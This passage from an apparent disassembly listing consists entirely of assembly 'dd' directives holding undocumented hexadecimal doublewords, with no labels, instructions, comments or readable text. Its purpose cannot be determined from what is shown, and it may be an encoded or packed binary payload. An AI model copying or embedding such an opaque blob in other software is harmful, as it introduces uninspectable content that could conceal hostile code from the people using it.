0C85C4D00h, 0DF06F845h, 6EF482h dd 248EE56Dh, 0D4308747h, 97EC3Eh, 0E804A637h, 0AE59B1h dd 56BD45D6h, 4E14DD08h, 0C5DEB900h, 7D6F71A0h, 0D9590057h dd 3644F9D7h, 98000C99h, 582E7887h, 7CFB8C30h, 717EC9Ch dd 3C5A0F16h, 3F8480CDh, 2F2DC1Ch, 1DCC4D00h, 8D89446Dh dd 3D17B7Ch, 8F6341A9h, 9FD8577Eh, 0E27076E1h, 80C9C300h dd 6C84FD3Fh, 0D91D01EFh, 6FBFE0A5h, 605C60F8h, 2C7A10FEh dd 580E78E4h, 8467E486h, 2480A5E1h, 0BB82Fh, 75BF3DBAh dd 3217004h, 0A7C75600h, 7BB93A73h, 9A9E01DCh, 6E87F0CEh dd 6E6D426h, 0CC1BCA00h, 284CA1EFh, 0CB800158h, 0CF81CD2Dh dd 152080DDh, 1812F8D9h, 52490040h, 45571B9h, 20138BFh dd 81FD6361h, 0D040127Dh, 24F75054h, 80408583h, 3FFCB2AAh dd 430CC233h, 8BC4951h, 0F0892B3h, 7AFD4F8Ah, 5DBB6683h dd 5A982F90h, 0F8DD6Eh, 212A01CCh, 0E879480Bh, 0EF855201h dd 81E22D40h, 0FFD5E180h, 3180D981h, 0AD89146Ah, 2100DFE9h dd 4E282C24h, 0E3BA1064h, 1DBF6B60h, 8080C2B6h, 33A11739h dd 0B300AE86h, 0C381FE96h, 0A8D4164Bh, 4FCD760h, 372B2DDAh dd 29572250h, 0BBFCEE00h, 5A01C180h, 560EA54Dh, 60BE8523h dd 0BD34181Dh, 0B73FCA80h, 86327003h, 21EBA200h, 5547BDAEh dd 8E9001Fh, 0ACD84D57h, 5D00C28Ah, 0B90A95E0h, 7537F35h dd 0D9DF55E8h, 191530F3h, 0BA00A8BDh, 58A17831h, 0B11856h dd 47C97986h, 46F0D0DBh, 21988303h, 0D02F1D36h, 7131B7E0h dd 0D4240F4Dh, 0C09DE5B2h, 40C78A98h, 0E8003A9Bh, 0EE72D96h dd 0E85CBBFh, 75F91F2Eh, 0C37395E2h, 5C25EA60h, 547A8200h dd 2E2BA547h, 0AA780041h, 0B943E687h, 6207503Fh, 0F2A2CA35h dd 27562E00h, 58A7F64h, 1A2B75D4h, 698780F3h, 0A30FB593h dd 0A34E6F6Ch, 0E88FCE56h, 0E0679266h, 685C0752h, 6061E833h dd 50219A49h, 0F18A3Ch, 14560CFCh, 0EBC79FFh, 4CCA7888h dd 201ABFC7h, 0F824E710h, 64D32105h, 0DEC058FDh, 6730D4h dd 44999A33h, 744635A6h, 80851C07h, 0EBF18BC4h, 0C080710Fh dd 9F344AC7h, 5D002EFEh, 0A1282423h, 0EF4EFDEh, 0C3740D07h dd 0B376BE23h, 0D2DB8900h, 412FBAE9h, 78B400F7h, 30060D8Fh dd 31006E4Eh, 0AE475911h, 0E842EFAh, 0E4CC624Dh, 0B1309680h dd 0B01443Fh, 0C9D4DCBCh, 9C40FD3Dh, 764022CDh, 4AB30758h dd 0C0FF28A1h, 0A529C09Ah, 0B8EB5F00h, 75986AC8h, 827306C2h dd 0B9673DF0h, 80BC563Ch, 1ABE6DD9h, 6F7A26h, 9FF34B88h dd 0BCB6C4DBh, 0B316800h, 393CB4B3h, 3D17009Ah, 0CDC5E6E3h dd 160035D4h, 4DDFD55Fh, 38C7CEh, 0AB29FF58h, 456B03DAh dd 0F0C0AA00h, 43D92B67h, 0A8280076h, 2C501B7h, 0F70022DDh dd 0A619376Bh, 75BBA772h, 404D0159h, 14A94CB2h, 0C2B03ED6h dd 561100C6h, 7EF0F177h, 0CB015A0Bh, 53C3FAD9h, 5E805F5Dh dd 46E8E5A9h, 4C3D5481h, 0F4E3007Ch, 0DEE9900Ch, 0BE6B00ECh dd 946D6312h, 0FD3F4E5Bh, 0D9641EB1h, 7101F396h, 490C3316h dd 0B86248D8h, 30B3006Dh, 515ACACCh, 3B00361Ch, 87ECDC6Ch dd 0F81B7043h, 355B3089h, 0FB4BD918h, 2B0333F2h, 0BAFAF3DFh dd 48D8756Eh, 1D002644h, 5B1BBC48h, 0C0007C4Dh, 0F98047B3h dd 0B0D9ECCFh, 0AC510034h, 0C10553D0h, 48002059h, 5EE5A773h dd 0F8340DBDh, 96FA199Ah, 0F82A1845h, 4B00E117h, 1033B706h dd 1D214426h, 0C0B9CEF0h, 52E291Fh, 2C00666Ch, 0B7EB1EF4h dd 73BF587h, 49A4F659h, 0B89BC0FFh, 500104D9h, 0EEBE7AC6h dd 3080D34Dh, 9562AB67h, 3E1E7582h, 0C780CD90h, 514905F8h dd 0FA7F013Ch, 0D0A29FD2h, 2271D8B8h, 70024Ch, 242D445Bh dd 1E3D31Fh, 9BD1813Bh, 30174EC4h, 3D0452BBh, 41942514h dd 8407D9C0h, 96EC0032h, 8FD6BDC6h, 0CC306545h, 2AE38823h dd 10C71FBh, 0CB7617EFh, 0D4EEEB1Ch, 8B00C691h, 0CDD4893Ch dd 300D1850h, 59387526h, 387F1402h, 0C2308E7Ah, 0C852C8A0h dd 85480434h, 802D55FFh, 767E096h, 0CF059300h, 0C16CCEDh dd 85B900A1h, 0C57ED790h, 170E5DB0h, 80243B34h, 72094582h dd 2646C02Dh, 5BF330ECh, 3F8E7000h, 0CC07F17Dh, 0CCF0032h dd 4015D0FEh, 57004F0Eh, 7637F32Ah, 0FA6CE3h, 0C35F6355h dd 0AF17F63Ah, 0C93FFF00h, 58318D93h, 6054011Ch, 1E41C21Ah dd 8204EA4h, 60DC9922h, 616E975Bh, 0CDD0B200h, 6714ACE5h dd 5420073Eh, 7005362Eh, 1DA88FEBh, 0FC16FD39h, 0AAA76300h dd 0A99BFF70h, 89D0046h, 0F1E1B1BAh, 7CF48032h, 346683A0h dd 361FAF78h, 50C072A7h, 10E3326Fh, 6C09C0A4h, 0CBE59D93h dd 0F554D700h, 7E940104h, 6E640281h, 0F6C9EA52h, 0E71D9880h dd 0FFA3F1C8h, 80F4C791h, 16A039E1h, 0E331EAh, 0AF3E60E5h dd 761DCB29h, 0F80E3F31h, 0BCC8C17Fh, 47A906A0h, 0B8CB5F48h dd 0D84A801h, 123B7CDAh, 570616ECh, 8C02800Bh, 0A9D50851h dd 6C2B1836h, 0A03190B2h, 173ABD00h, 4BF69713h, 0FA328809h dd 4371C11Fh, 8299FD00h, 0D334E2h, 0B3E75B7Fh, 3BD10AF1h dd 51B63200h, 66822A97h, 962F1FEFh, 7F83C3E0h, 0B98D937h dd 0F55453BBh, 3A0A5E80h, 20F05BB5h, 0E9915570h, 401310DEh dd 0EA288707h, 1DCFBA75h, 69D0503Eh, 630D44h, 0EBD14F5h dd 1279AF37h, 11AC9203h, 0B988C3B4h, 0FCE13E6Ch, 0D7CDFCh dd 0CF6452A6h, 4C61AA5Ah, 2CDBEB1Eh, 0EA00ED68h, 0EE6C11B1h dd 3E62A66h, 33149EBCh, 5AD81AC3h, 167E0192h, 2311F00h dd 0E788798Ch, 24DA00CEh, 0BF3AF3CDh, 32000E65h, 0B434D344h dd 2B5EB66h, 0D2DD5E4Fh, 0C541FC18h, 998ECECh, 6D470300h dd 42068C51h, 0F9AC019Eh, 74FEEEAAh, 41424FCh, 0AE1A39h dd 785C3D6Bh, 1678F47h, 0B00C9F1Fh, 0CCB192DAh, 56051A46h dd 0F2282B2Ch, 656D8C02h, 0C456E05Dh, 0C016003Eh, 9DDBD464h dd 0BC048AB5h, 0E43992C9h, 46C76C80h, 0A08300E6h, 0E0B8D4C6h dd 0F70C7331h, 0D1661942h, 0D8470EA3h, 0B0A07148h, 0A4EE8CCCh dd 0CFE0F47Bh, 13C70100h, 0DC9E080Fh, 9B82009Fh, 312D8A73h dd 5B0046ACh, 0A6997034h, 0BC75B3h, 399B1C2Fh, 0A8851D8Bh dd 64E22305h, 0C003AE73h, 0B0909CCAh, 3F9A280Dh, 0A680E9D3h dd 6A2792F0h, 4A591EFh, 0A4E32640h, 4C87283Ch, 813E00D7h dd 88AE0668h, 0F301C164h, 62F29A63h, 0AEC6AE2h, 0F4A70B5h dd 0F631D51Fh, 0E86687E0h, 76003B4Eh, 27031638h, 2868C7F2h dd 0E2893Fh, 8B02A59Fh, 0C49C4C7Dh, 63ED000h, 0DA418CA4h dd 0B04B0055h, 2D4932ECh, 0C801141Dh, 0B4D19EAFh, 95402635h dd 25FF6h, 8A2CF5D6h, 0B612EE7Dh, 96D4A00h, 7BDB28Bh, 100D0075h dd 0E122A797h, 0ED008CE4h, 0A997144h, 0DA0455h, 0B5C88921h dd 5BEF4390h dd 0A86DAE01h, 8B5324B4h, 1FD868C0h, 0C0319EDFh, 10DEB71h dd 7600AF50h, 29B853C8h, 0E65540h, 1A673810h, 0A5C621D1h dd 0E799AC28h, 5429AB00h, 9087E35Fh, 0A2305C58h, 1079A000h dd 91E707C6h, 4A4B3B00h, 9EEA767Bh, 3E46FC5Dh, 1D009211h dd 9B57706Fh, 8907CF66h, 2C10B575h, 3D09EDC0h, 745100A9h dd 8AA4BEFh, 0B5002438h, 5410FEC3h, 0CD2F81h, 0B970BCF5h dd 38CE3644h, 55E9E01Dh, 0A5004313h, 0E627070Fh, 0DC4C0FF6h dd 0D5800CDEh, 0A3E719B2h, 9A24CAE0h, 5D4020A1h, 15E6B9Ch dd 0F6732688h, 0F8DB1855h, 9D00D5CFh, 0C2FFFB8Ch, 9F6828h dd 52424898h, 88C96236h, 14D87402h, 60C2B0E5h, 0D4D55Ch dd 5A39217h, 7F96FCF5h, 79BA2B00h, 306889ADh, 49D1CA5h dd 16B90431h, 0A784C086h, 40007F97h, 0F2C0F881h, 0DBC947h dd 0D1458EEDh, 0BF04DF99h, 0C700F00h, 0C9D8D3A4h, 577CCDh dd 98D97B83h, 1F024F7Eh, 1981EA00h, 0C606A030h, 99750015h dd 9236E83Bh, 43FACDC4h, 0D55CF000h, 89A53FCCh, 0FDBC00E3h dd 397CD64Dh, 3D00DE5Eh, 59F605B9h, 129DEB1Fh, 13D92Ah dd 0DCFB929Ch, 4C6EE2FAh, 0D5FD2030h, 0BD39F2h, 88D7EEA0h dd 26BF2448h, 0A2690100h, 7D4E380Bh, 1CC41E67h, 0FCEE0073h dd 0DF272070h, 0DD009DB0h, 0AF32F7E0h, 139DDAh, 7E584FE4h dd 0FE5E1BACh, 6901FF77h, 3CEEA50Bh, 0C0C3744Eh, 394A357Eh dd 57805B29h, 9B940A93h, 0A8002803h, 0AC907CBFh, 0E267151h dd 9183B052h, 9CDFCB61h, 6314E0DAh, 0E3BD6E01h, 0F3F7124h dd 9679F8h, 0E0617F04h, 57675FE5h, 0A80CF71Fh, 0E3CF7C80h dd 320BDACh, 72E76F17h, 54C8EFE5h, 54905C31h, 0BA1A3E03h dd 0F9E48Bh, 3F065590h, 1E8E81D7h, 40F9A0Ch, 0BBC074h dd 9037A943h, 0EB07F51Fh, 0D3114814h, 26A31E84h, 0A1BFFAh dd 732FA272h, 843B50h, 0E4F37ED2h, 927A5AC9h, 4DAB5300h dd 355B86B5h, 0F8AA58D9h, 1E161707h, 0EC804B6Ch, 0B30610BAh dd 0FC32FB02h, 80EACFCEh, 22715DF6h, 7522C363h, 0A2C008D5h dd 9B73113Bh, 93FF60Fh, 0EF9F40A3h, 7D27B9h, 8504AC59h dd 0C1BC9992h, 72CC4013h, 8B77C800h, 0BA14BDh, 7D1B9BECh dd 99FD54Fh, 0C086E600h, 74911CFDh, 9023001Ah, 5DD9722Ch dd 83002F49h, 2AA738C8h, 389B9B6h, 7FDE0AA5h, 439017CDh dd 7912A642h, 0D40073E7h, 0FD6CD856h, 48B9036h, 4BC248CDh dd 62ADC34Eh, 0D0A8DD9Bh, 0F000190Fh, 4F69E0DEh, 0E2849786h dd 0D6950973h, 2080C383h, 328A436Fh, 0C8C60D28h, 5C729E00h dd 335602F5h, 0F4C44889h, 0A2B12C00h, 30C9DBA1h, 45AE9100h dd 28BF9534h, 0C2D10ECCh, 0B2408AC5h, 63710117h, 2CF4DC00h dd 0AB08EB73h, 271E00BEh, 0C57EF5D1h, 0DC00F7D9h, 8552AE26h dd 1C8DC42Ah, 80646D8Ch, 212B545Ah, 7700F16Bh, 0D545B6D4h dd 9D3AE5h, 2CC7B1FCh, 2A6585EAh, 27F26803h, 80631589h dd 0B87E24h, 0BEA2C904h, 0AE687271h, 9364ED04h, 10EA4123h dd 563DA946h, 0B353C900h, 82DAD2B6h, 920FE400h, 0F7634E51h dd 74550025h, 12D1AE0Eh, 4307D91Ah, 2B4ACF6h, 7EA09C20h dd 58AA0069h, 0BD551E86h, 0D5630812h, 801A13F0h, 99E5F3h dd 5626164Bh, 0D934E432h, 0A5B0CE07h, 2F0E9B4h, 447855h dd 5615367Fh, 455B18A3h, 232B5900h, 0FA54E9EDh, 742F0058h dd 351A1442h, 8A00A17Dh, 66013072h, 0EBCCD07h, 85EF4D1h dd 6E91B7A0h, 4D3E4246h, 0DE488087h, 6084B065h, 0F10207AFh dd 90741C34h, 47E5CBF5h, 6AA3C412h, 45F2807h, 0FE4BAA10h dd 0F70F24A9h, 9B8F0072h, 2D5171Eh, 25242B09h, 4040811Fh dd 0DBEC4B70h, 22E600ACh, 67A1D1DEh, 0CB00EFA6h, 0B26B4E7Fh dd 2CB5CA5Ah, 2C9425h, 8046B8E4h, 5B00EB23h, 0C0DBC599h dd 0F934C21h, 3AC9A0B2h, 700FE689h, 1C5B000h, 6B9A680Dh dd 0AE234200h, 3CF009D2h, 60777DF2h, 5316049h, 6690B664h dd 3A74823Eh, 51FA0188h, 8C6C7DBFh, 702E6C64h, 0DF000F1h dd 0BB64B349h, 0E700DCDFh, 0C39B1209h, 38777973h, 69A67B74h dd 67C883F0h, 99C0C24Ah, 7103E9BDh, 0DAD5AA5Dh, 0CBA6B004h dd 0F9BF603h, 998B5AABh, 0AACD6E40h, 4B0F3A41h, 0E0EB2768h dd 2CBED7E7h, 58B9EC6Bh, 573E11AEh, 0D99F2B80h, 0F55E9CBFh dd 0F3AACF07h, 0C810E5FFh, 1CB51F1Dh, 4019E030h, 4E8A1A6Ch dd 0FA007C1Bh, 0B6ACB843h, 0E2175h, 3DD3EA2Fh, 87D6F119h dd 55A8200h, 93EF61A9h, 0F69D0040h, 0C1D3728Eh, 0D6E6E994h dd 0ABC38000h, 9608C2D4h, 508D0B02h, 0BB00BAF0h, 5EA549C1h dd 0F77DE500h, 78AE930Dh, 0AC360AFAh, 288C569Ch, 1EC600E5h dd 0BC98CEBFh, 10001CDBh, 0A59363BDh, 744E7D5h, 744AB359h dd 3B4C3001h, 26006932h, 24803C72h, 98DCBE97h, 2BEF0038h dd 45D96D59h, 6B00FA90h, 85C79105h, 0BD8726h, 0DE822730h dd 445D7AFFh, 0B842862Ch, 53856000h, 31BB5A5h, 9E16AA7Eh dd 0A0003D65h, 0C3ADD1DCh, 2A86572Dh, 0F8E8FD02h, 0DBA2EABh dd 2B2F00A8h, 54F27130h, 0BD95BB01h, 1255EBF4h, 3EF6A6F4h dd 0DE194CEDh, 5FA818B7h, 0C3FE004h, 0C87800A3h, 101FBC56h dd 6E0322C7h, 949EEDB1h, 0DBEB35Bh, 46368C30h, 47A700D0h dd 0DE0242A9h, 455D7EDDh, 0A34B672h, 0DD34A012h, 0AB25F84Ch dd 0F5435604h, 0C1FB408Bh, 6064A24Ch, 0F40FCEC2h, 830E6069h dd 78A1D43Eh, 68EB2219h, 189D8428h, 3CDAF221h, 7AA344F4h dd 730CF050h, 3624D050h, 310CC150h, 7A0D622h, 8DB7B182h dd 0B583C155h, 0B45E13C3h, 0D5FC6920h, 84B6CA88h, 0A9764411h dd 2818EE2Ah, 2124EF98h, 270AB4C6h, 120A4815h, 26F024B5h dd 0BE78A1CEh, 42B5904Ch, 84AA29E5h, 18CF288Ah, 9C5A610h dd 0DA0C0478h, 19A822F2h, 9B3C5296h, 5362B499h, 5FA8D4C0h dd 8A402693h, 870841CDh, 0CCF09B18h, 0A8B915E8h, 0C1CD811Dh dd 66D1742Ch, 0A60020EAh, 0AA005FE6h, 5C48F045h, 579C75h dd 239678Bh, 634131A7h, 5AF26C00h, 9B97D6AAh, 6D37093Ah dd 2400A59Ch, 693BCD18h, 93801350h, 0F899F22Ah, 0B2295F0Ch dd 3F9B8EFh, 6FA05485h, 7DC0ADD5h, 0FD0C4773h, 0A1BBAF14h dd 94F769Eh, 0D3E78358h, 0A11E5001h, 7A89841Bh, 8811509h dd 0CDC3548h, 80A01CBAh, 87BE405Dh, 0F43B82CAh, 63401CA5h dd 0AF94D07h, 30B14B9h, 419E8EA8h, 0BDC0BE0Eh, 0AB25733h dd 0D34A305h, 0ABC7ADBBh, 0B967ACE0h, 8C3100A8h, 9613952Bh dd 0AA00B7DFh, 0AD5D9BE2h, 0AA892D4h, 94EE321h, 0C38D1F84h dd 0A7B0EB7Dh, 28504Ch, 83424B6Eh, 0C04FAEBDh, 50330F29h dd 5A282C74h, 0AF07341Bh, 0A65262E6h, 0F9774AA0h, 8B2C0005h dd 0F546F03Dh, 0E501326Ah, 0C1DE8DEDh, 0A5D0297Dh, 0B8761FC8h dd 2BE62Dh, 13D3468Ch, 2100F523h, 4EEF9535h, 18E7B7A2h dd 98A9C232h, 0F500E1A7h, 7FD711AFh, 0B8A1065Fh, 3F8C3EB7h dd 0A8B61D07h, 0F36CD08Ah, 0C43E4ECBh, 0F6B11445h, 7E291868h dd 87376480h, 0C20D8E00h, 1F119B28h, 47C64FD6h, 473BAD72h dd 9503303Ch, 0FF0DAA30h, 609D0BEBh, 789098D4h, 3385010Ch dd 0E56534A9h, 0FA7030A8h, 0A1896A33h, 7332F0BBh, 144174C3h dd 90E12ECCh, 402D2Eh, 36CF5FD2h, 6007A194h, 3906B41Ch dd 0CDA52C41h, 7C7D90F0h, 0A2DC004Fh, 5BBB9778h, 0CC18305Ah dd 1D3016EEh, 2DA40044h dd 520D7E95h, 33583BF7h, 0DCD90071h, 9660630Ah, 0F934002Ch dd 0AE254D70h, 18DE05DDh, 0FE297AC1h, 1080C46Ah, 725A431Ch dd 5396F16h, 112F1F9Dh, 46B0C9C0h, 14B13771h, 0C5FC16Ch dd 9C527007h, 0C5ACE1ADh, 56ECE878h, 8B583000h, 2F06D9C1h dd 2DAB01FDh, 0BB08DE33h, 3082E06Ch, 54112900h, 0DA098314h dd 5B440065h, 28F3BAC2h, 0B51FB20Fh, 8D00D9DCh, 291A78F7h dd 0BB91077Ah, 90351657h, 0B920D1Dh, 0B4BA630Fh, 0E940E08Eh dd 0DDCE8B5h, 3655B2C0h, 0E522D040h, 8050F0C3h, 97A0006Ch dd 512A6A41h, 8EEED8B0h, 0D0C065EAh, 9895F7B6h, 0C10117BFh dd 0FB6A000Ch, 17D1CEA7h, 1C50A40Ah, 6104C86Dh, 14833057h dd 0AFE81837h, 408DC821h, 6F80F905h, 306050EFh, 233AF805h dd 9A0FA088h, 3716A1D0h, 2C00E056h, 0A407E1FEh, 9A874E17h dd 464C79D0h, 0CC630FEEh, 0E280D4E7h, 0FFC2386Eh, 0AC00317Fh dd 467E1C15h, 27A1Ah, 1D76AEF2h, 72F5BD43h, 0D71DF00h dd 6DE3E5E9h, 0E23FE07Bh, 454E005Eh, 721DDCE1h, 6203AA0Fh dd 0BE534D55h, 49500016h, 7D656B3Dh, 0B40FE293h, 1760F8C0h dd 0CB40A11Fh, 0EFD86118h, 1067AC4h, 0DC25A70Dh, 40F83A8Bh dd 13AC6FE1h, 0F00EFF4h, 6CC14C60h, 242127E4h, 6CCAC3h dd 0D29252B2h, 303DB15h, 75726B32h, 1D69C88Dh, 391C3EA2h dd 0EBB27785h, 0E5398015h, 0C0EC4421h, 0C3E40201h, 0D1659FD8h dd 9A739180h, 97746A56h, 0AC825100h, 2005C4E3h, 0E0451DABh dd 6600FC6Eh, 0D0E87363h, 0A9004F89h, 443F5C1Fh, 0F4200FE2h dd 7A563B5Eh, 81E0EB1Ch, 0E6605F30h, 0E598803Eh, 931F8386h dd 3B5EE8Eh, 9E2D3F98h, 0D00D3D5Ah, 3844A363h, 0A83CA03h dd 71C120B1h, 39B83074h, 0EA79598Dh, 5A17A01Dh, 8860E698h dd 430307ABh, 972068A9h, 0FB1C3EBh, 2009978Bh, 0AB1CE0h dd 16116DF0h, 7D5C019Bh, 8CCF4588h, 0C731849Fh, 69012A73h dd 80B51FABh, 784BBB68h, 3C3F560h, 5A3DE6F1h, 2800744Dh dd 0FC1549Fh, 3A44783Fh, 0D0E0C743h, 5B555CD3h, 0A4D9A100h dd 0EF3DDD1Dh, 0FA68CFE1h, 2BAC8CA1h, 6D1190B7h, 8498F611h dd 0D330E11Bh, 0A80975E5h, 81C1499Fh, 3C5171D1h, 4DADF0CBh dd 3011606Fh, 367BF386h, 0A9E74700h, 3E5E3BC2h, 0BE380090h dd 93744CCDh, 0C06509Dh, 70A1140Ah, 468D1B0h, 2283D901h dd 8001679Fh, 245DF5D1h, 1F7F8BFh, 7F951011h, 0F898B4A6h dd 3A30D8DAh, 0CF914173h, 0C32500F0h, 0A8B5664Bh, 7C917B1Ch dd 64B67000h, 7877C4D2h, 883E00E7h, 5624872h, 209163CBh dd 6E8A4641h, 31F5C850h, 0A0490E1h, 0F701EEC2h, 4D80BAC8h dd 69E7BD2Fh, 6312C877h, 88416F3Bh, 0F7264AAFh, 87A22880h dd 968A3743h, 6B6A680Ch, 865035h, 6668FECh, 85A3F097h dd 65CA2C18h, 397C10h, 0C909C570h, 0D001B67Eh, 0D8306254h dd 0C7BCF154h, 9B48F550h, 0E2563600h, 0AA4957ABh, 80B77709h dd 4F06C14Bh, 4C5183ACh, 149A7CE8h, 0C4DDF815h, 9046FB4h dd 0A62D84h, 0EEE5E86Ch, 2682386Ch, 0D009FD80h, 1F443216h dd 0B4061300h, 1EC3B17Fh, 2CA0003Fh, 0FEE66630h, 6500C538h dd 0C6B81F2Ah, 1D2DC48Fh, 0C7B52FC3h, 6075F3DEh, 900F108Ch dd 0FFF2BE00h, 0BC44706Dh, 0A327017Eh, 21E9A00Ch, 0A8834087h dd 264C8A03h, 4C8B0033h, 93BB4EF3h, 0E1FF0769h, 57B56C77h dd 0D8168020h, 0E8004780h, 83047CA8h, 0EED6F91h, 0CCD9B541h dd 0C09259A7h, 0B632034h, 6599361Dh, 0F8E3FD40h, 5B0FA7h dd 50646697h, 0BDEFAABEh, 0CF0A1801h, 9C332BB5h, 26D0C0h dd 1448307Eh, 1BB321C8h, 803A0E00h, 92E40A87h, 375C0EA9h dd 5DD1C2h, 49FDEFD3h, 9E4A4B4h, 7E257401h, 0F314152Bh dd 5F7CA640h, 0F69600D8h, 279F716Bh, 91249979h, 1B81A0EFh dd 0CE0A299Eh, 0F111CFCh, 3C5D13C1h, 0E535405Fh, 0CCB22D22h dd 0FDC6D000h, 9CDA4B2Bh, 3378AFh, 572736FFh, 61AC6B81h dd 0F18AF201h, 1756AB40h, 1852FA80h, 0C1F0DDBFh, 7D000B70h dd 7F3CA11Ch, 0FAB9785Eh, 8598002Fh, 60D087A5h, 0ED00BB92h dd 0A28E1062h, 0BE1AC7h, 64BDDE74h, 0F45EF3EAh, 5D858000h dd 51201F50h, 4A910006h, 0A498DF8Fh, 0A00047EFh, 769DE05Eh dd 39FF1307h, 1207991Ah, 30CBBE19h, 295E0B2Dh, 680CE700h dd 5A7B2602h, 96B60050h, 9B7EF193h, 0CD00691Fh, 9462215Bh dd 4F552Eh, 7403B968h, 0A909D11Dh, 0B5005A90h, 0DAF2925Ah dd 61EE91h, 991C0BF7h, 4016DEACh, 0F6768500h, 729565D5h dd 0F89FE25h, 41224B91h, 0B7AE8BC0h, 14EED915h, 1ABEFA1Eh dd 59CAC700h, 0F838D3Fh, 47316A85h, 689F1243h, 13A88FDBh dd 2D01C5A6h, 0F9937807h, 0E0E3A77Fh, 0EA7660h, 958624D8h dd 19F04574h, 8C4FF00h, 38201E92h, 280200EAh, 6B3EF187h dd 2B007543h, 7632455Dh, 9A1B37Ah, 0C1B09BD3h, 3E2CBD02h dd 75231340h, 337635Ch, 7C982B8Ch, 58E0F8F3h, 0FED47AECh dd 0A3110015h, 0B199C555h, 5E0E821Fh, 219E9887h, 33C6EF74h dd 4AC9D8h, 0F6975062h, 417F913Ah, 0FC02847Ah, 25D0940Eh dd 201EC0C4h, 5FE600EEh, 0AEE441E1h, 0A700F1C2h, 43AFCCB4h dd 0B81DC535h, 0EAC30189h, 7EA3F647h, 0A720E8C2h, 64753Dh dd 7655936Bh, 3192A4h, 0F921F21Ah, 0C0AC1CE9h, 7F6B8200h dd 4959B63h, 43B30785h, 804EFD42h, 7A6CED66h, 0E3B54000h dd 8E9139E7h, 84CE00A8h, 502C53AEh, 0B33D67B7h, 873700DBh dd 163A8562h, 24298FCh, 5E24DD73h, 0B7804188h, 0A5AB614Bh dd 8E804300h, 834A21C3h, 7888F2FBh, 9A080064h, 0D92463A6h dd 89000AD4h, 0B8A80C28h, 0BFF531h, 5D9C6CA0h, 473B848Fh dd 42EBF203h, 0A056E130h, 1C551D0Dh, 36CF09h, 86B084B9h dd 803EDB6h, 670179CEh, 473CD842h, 0C0FD00E2h, 80043B9Ah dd 4600ACF3h, 0C8CE2E73h, 0C5B50Fh, 209CDB2h, 0B1D5742Ah dd 807AF301h, 0D7E4F7E8h, 8359E8h, 81FA95C6h, 7D3A282Fh dd 7B5C9400h, 0ADE3341Ah, 0E615EA43h, 2EB7DBAh, 0D0632B39h dd 0E881C1CCh, 0C41318E5h, 0FD00959Ch, 5D16BB31h, 7B102BFh dd 8B34FE9Dh, 68782E5Eh, 0E31D409Eh, 38C054AFh, 698067E8h dd 31C903Bh, 43569552h, 49904AACh, 0FE010194h, 265A7D2Dh dd 6FF06421h, 0B5DD0019h, 3F35AF61h, 9C006A41h, 3734C033h dd 49CAF2h, 42ED5E5h, 1E951B35h, 286DEB0Eh, 0A14C0B7h dd 9D5D6Eh, 0C6DE5168h, 8BD5B907h, 35690C0Ah, 1A0CD44Eh dd 99D4CABh, 4BD986BCh, 9B7BDB01h, 111130A7h, 4925DA1Fh dd 7AC073DCh, 36E7D2D7h, 0ADDC00D4h, 30BF9204h, 0A300199Ch dd 58A6E88h, 9D51875h, 0B56B8720h, 61008254h, 0C5CEA330h dd 337159h, 3AB72A99h, 0E36285A6h, 652CE200h, 49EEDCBDh dd 53031451h, 9A03D5AEh, 2E9E4628h, 0D89729F0h, 0D5F5F600h dd 0D6533ED1h, 271402ABh, 0EA9FD28Ch, 61203DC0h, 0CB28095h dd 5816CEE0h, 1103321Bh, 944CD5C9h, 0BD06B9E0h, 14103B00h dd 2DCAF77Fh, 0E281D58h, 48D3805Dh, 4E93BC76h, 9687FC09h dd 9F8E6Eh, 196AD2E0h, 3981004Dh, 70C4CCD6h, 27000BBFh dd 7A56D9B8h, 2ECF34h, 0BD3A6F62h, 52CC291Ah, 50950901h dd 0C9D38C9Ah, 78904F0h, 0D4F6030Dh, 83E9C080h, 0C8006B45h dd 4F1CE79Ch, 674ECADh, 0E54146E4h, 40021D4h, 0B768AC2Ah dd 1F8DF0B5h, 33FC5AEh dd 28309EEDh, 0C62B3807h, 24D07D54h, 0ECC815h, 0D431B78Eh dd 85E6E9Eh, 0B9BBFF3Fh, 63742E10h, 0A2810200h, 6246B9h dd 1F9F409h, 70C32B7h, 0FDBD300h, 0EA61E95Eh, 91E6005Ch dd 48C9CC2h, 9B002A55h, 1F57A1D4h, 0E97662h, 37C333D1h dd 7A6751AAh, 8FF10C00h, 30142ED8h, 1882070Eh, 0D042CD86h dd 3CF53E74h, 0A719E600h, 2F7904EEh, 6B963C03h, 4BB1BE00h dd 4D21970Ah, 0EFD03807h, 1AF02809h, 0F03482Bh, 10BF7E49h dd 0F5EEAFA1h, 7A4FDC1Dh, 0B8284400h, 0AEAB6383h, 20D260F8h dd 13002D3h, 287BF600h, 0A65D1A79h, 15480076h, 4B8D06F9h dd 0A0072FAEh, 3EACB064h, 4CAB6AA0h, 0FEC00340h, 8E2F290h dd 7B1780C5h, 1038EC5h, 559C0665h, 4E7F8059h, 488F60B9h dd 0F8EEEB93h, 7A9A3Ch, 0B0FD2597h, 1C817DBEh, 0C5A4E98h dd 35C9303Fh, 0A14C0E03h, 0BD962307h, 26170C03h, 8FC100EDh dd 385A9069h, 2D098C44h, 0C4C0A8h, 246FEF9Bh, 0F7E200BFh dd 45302BD6h, 0F0013541h, 39AD89FAh, 97EC496Dh, 60B0DCh dd 2571A54Dh, 0BC3D4FFBh, 1E9D9B01h, 0A2BB78C8h, 0F4A5FD8h dd 5EB6723Bh, 0BE7C69A0h, 1F0028EBh, 42A32606h, 9ADFB1h dd 0A04309DBh, 0E8AB51FBh, 0B8052A30h, 0C0774EBCh, 78A670C0h dd 0D4387136h, 0F64A8224h, 0E0C6F407h, 7338B931h, 77830084h dd 0CA89ACA4h, 61FB3165h, 76F8F7BCh, 2A01B0B7h, 0B59F3DF7h dd 0F0EF8A3Ah, 64A55Ah, 0B1704712h, 0FB1BCBA0h, 0A800A179h dd 0A5E66597h, 9A3D50h, 0E7ADFA90h, 0C0A6CF2Dh, 3C00B57Bh dd 0D4FCF76Bh, 0BDE218h, 0ABCC24DBh, 924B11D1h, 94AD3Eh dd 6A1A2681h, 7F2BE80h, 59279091h, 3730106Fh, 0AD007148h dd 4FD2A2D6h, 781AA54Ch, 330400CAh, 0AA8C3629h, 0BE0051DBh dd 0CCCEA669h, 1D4034F2h, 401C6030h, 0E571A1B6h, 0A6008D3Dh dd 0B90BDBB0h, 0D65DF2h, 0ECEB6308h, 6C607F28h, 0AC5C9BA0h dd 304CE200h, 0E0CBA9F3h, 8510034Fh, 0E1AFC5Ah, 0FABD86B8h dd 5100ADB8h, 11BADC4Ah, 74D635h, 0B65B0AECh, 0DD8CE850h dd 89A16000h, 